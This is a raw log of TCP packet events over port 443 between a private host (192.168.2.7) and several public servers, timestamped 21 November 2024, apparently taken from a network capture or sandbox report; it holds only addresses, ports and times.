Nov 21, 2024 00:03:46.862940073 CET	443	49845	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.863105059 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.863146067 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.863162994 CET	443	49845	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.863177061 CET	49845	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.863182068 CET	443	49845	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.866214991 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.866246939 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:46.866317987 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.866472006 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:46.866485119 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.324657917 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:47.324727058 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:47.324794054 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:47.396141052 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.398539066 CET	49851	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.398560047 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.399230003 CET	49851	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.399235010 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.647418022 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.651947021 CET	49852	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.651959896 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.652394056 CET	49852	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.652398109 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.748158932 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:47.748228073 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:47.796156883 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.796844959 CET	49853	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.796897888 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.797744036 CET	49853	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.797756910 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.838953972 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.842467070 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.842526913 CET	49851	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.842597961 CET	49851	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.842616081 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.842627048 CET	49851	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.842633009 CET	443	49851	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.845300913 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.845333099 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:47.845402956 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.845551014 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:47.845565081 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.084512949 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.087589025 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.087729931 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.087801933 CET	49852	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.089765072 CET	49852	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.089787006 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.089797020 CET	49852	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.089802980 CET	443	49852	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.092278004 CET	49871	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.092330933 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.092407942 CET	49871	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.092559099 CET	49871	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.092571020 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.185682058 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.190092087 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.190126896 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.190538883 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.190546036 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.248481989 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.251727104 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.253688097 CET	49853	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.261657000 CET	49853	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.261657000 CET	49853	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.261701107 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.261742115 CET	443	49853	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.264853954 CET	49872	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.264911890 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.265000105 CET	49872	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.265238047 CET	49872	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.265252113 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.635960102 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.636008024 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.636076927 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.636140108 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.636197090 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.679843903 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.699832916 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.699852943 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.699887991 CET	49859	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.699893951 CET	443	49859	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.729279041 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.823183060 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.823198080 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:48.823848963 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:48.823853970 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.176660061 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.179753065 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.179847002 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.558959007 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.602407932 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.602437973 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.602452040 CET	49863	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.602459908 CET	443	49863	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.606431007 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.629533052 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.629542112 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.630733967 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.630739927 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.749718904 CET	49883	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.749768019 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.749840975 CET	49883	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.803347111 CET	49883	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.803373098 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.976119041 CET	49886	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.976145029 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.976207018 CET	49886	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.985682964 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.993139982 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.993329048 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:49.993380070 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.994647980 CET	49886	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:49.994661093 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.000456095 CET	49871	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.000471115 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.001039982 CET	49871	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.001044035 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.001748085 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.001765013 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.001776934 CET	49870	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.001781940 CET	443	49870	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.028415918 CET	49887	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.028467894 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.028543949 CET	49887	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.034923077 CET	49887	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.034940004 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.047772884 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.050813913 CET	49872	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.050837040 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.051285982 CET	49872	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.051290989 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.451663971 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.454719067 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.454782963 CET	49871	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.458048105 CET	49871	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.458064079 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.458074093 CET	49871	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.458080053 CET	443	49871	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.475132942 CET	49891	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.475194931 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.475275040 CET	49891	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.475509882 CET	49891	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.475531101 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.493103981 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.496108055 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.496170044 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.496392965 CET	49872	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.496872902 CET	49872	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.496893883 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.496941090 CET	49872	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.496948957 CET	443	49872	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.499461889 CET	49892	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.499491930 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:50.499583006 CET	49892	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.499710083 CET	49892	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:50.499722958 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.606029987 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.614867926 CET	49883	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:51.614898920 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.615441084 CET	49883	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:51.615447044 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.710340977 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.710819960 CET	49886	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:51.710844994 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.711241961 CET	49886	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:51.711249113 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.893310070 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.940140963 CET	49887	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:51.940164089 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:51.940817118 CET	49887	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:51.940821886 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.051214933 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.054368973 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.054454088 CET	49883	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.107898951 CET	49883	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.107898951 CET	49883	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.107954025 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.107980967 CET	443	49883	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.172600985 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.174060106 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.174344063 CET	49886	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.179476976 CET	49886	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.179501057 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.179517984 CET	49886	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.179527044 CET	443	49886	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.185240984 CET	49902	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.185270071 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.185425043 CET	49902	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.186669111 CET	49903	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.186702967 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.186773062 CET	49903	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.187203884 CET	49902	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.187222004 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.187592983 CET	49903	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.187608004 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.255074024 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.255508900 CET	49891	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.255528927 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.256011009 CET	49891	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.256017923 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.282324076 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.282867908 CET	49892	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.282901049 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.283788919 CET	49892	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.283797979 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.349428892 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.349533081 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.349582911 CET	49887	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.353940010 CET	49887	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.353960991 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.354156971 CET	49887	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.354162931 CET	443	49887	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.358714104 CET	49904	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.358793974 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.358870029 CET	49904	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.361195087 CET	49904	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.361227989 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.697877884 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.701287031 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.701339960 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.701414108 CET	49891	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.701527119 CET	49891	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.701550961 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.701569080 CET	49891	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.701576948 CET	443	49891	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.704533100 CET	49906	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.704607964 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.704701900 CET	49906	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.704854965 CET	49906	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.704890966 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.730129004 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.733216047 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.733261108 CET	49892	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.733314037 CET	49892	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.733341932 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.733356953 CET	49892	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.733364105 CET	443	49892	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.736198902 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.736244917 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:52.736324072 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.736442089 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:52.736459970 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:53.914921045 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:53.914968967 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:53.915050983 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:53.915504932 CET	49913	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:53.915524960 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:53.965905905 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:53.966348886 CET	49902	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:53.966367960 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:53.966892004 CET	49902	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:53.966897964 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:53.969964027 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:53.970339060 CET	49903	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:53.970360041 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:53.970798969 CET	49903	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:53.970805883 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.143898964 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.144498110 CET	49904	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.144572020 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.144965887 CET	49904	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.144983053 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.410370111 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.411736965 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.413554907 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.413630962 CET	49902	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.413716078 CET	49902	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.413716078 CET	49902	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.413733006 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.413744926 CET	443	49902	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.415150881 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.415222883 CET	49903	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.415290117 CET	49903	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.415319920 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.415339947 CET	49903	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.415347099 CET	443	49903	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.417143106 CET	49914	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.417191982 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.417256117 CET	49914	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.417560101 CET	49914	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.417577028 CET	443	49914	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.418323040 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.418405056 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.418484926 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.418603897 CET	49915	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.418648958 CET	443	49915	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.422276020 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.422624111 CET	49906	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.422655106 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.423046112 CET	49906	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.423053026 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.455362082 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.499305964 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.592987061 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.596038103 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.596101999 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.596193075 CET	49904	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.830339909 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.830364943 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.830775023 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.830780983 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.857038975 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.860157013 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.861438990 CET	49906	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.861697912 CET	49904	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.861726046 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.861742973 CET	49904	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.861748934 CET	443	49904	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.863142967 CET	49906	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.863162041 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.863174915 CET	49906	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.863182068 CET	443	49906	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.870699883 CET	49918	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.870744944 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.870815992 CET	49918	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.871598005 CET	49919	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.871630907 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.871787071 CET	49918	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.871805906 CET	443	49918	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:54.871822119 CET	49919	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.872692108 CET	49919	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:54.872705936 CET	443	49919	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:55.147545099 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:55.150571108 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:55.150635004 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:55.150722980 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:55.150739908 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:55.150751114 CET	49907	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:55.150757074 CET	443	49907	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:55.154933929 CET	49921	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:55.154963017 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:55.155138016 CET	49921	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:55.155297041 CET	49921	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:55.155318975 CET	443	49921	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:55.580280066 CET	443	49734	104.98.116.138	192.168.2.7
Nov 21, 2024 00:03:55.583235025 CET	49734	443	192.168.2.7	104.98.116.138
Nov 21, 2024 00:03:55.646269083 CET	443	49913	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:55.646358013 CET	49913	443	192.168.2.7	172.202.163.200
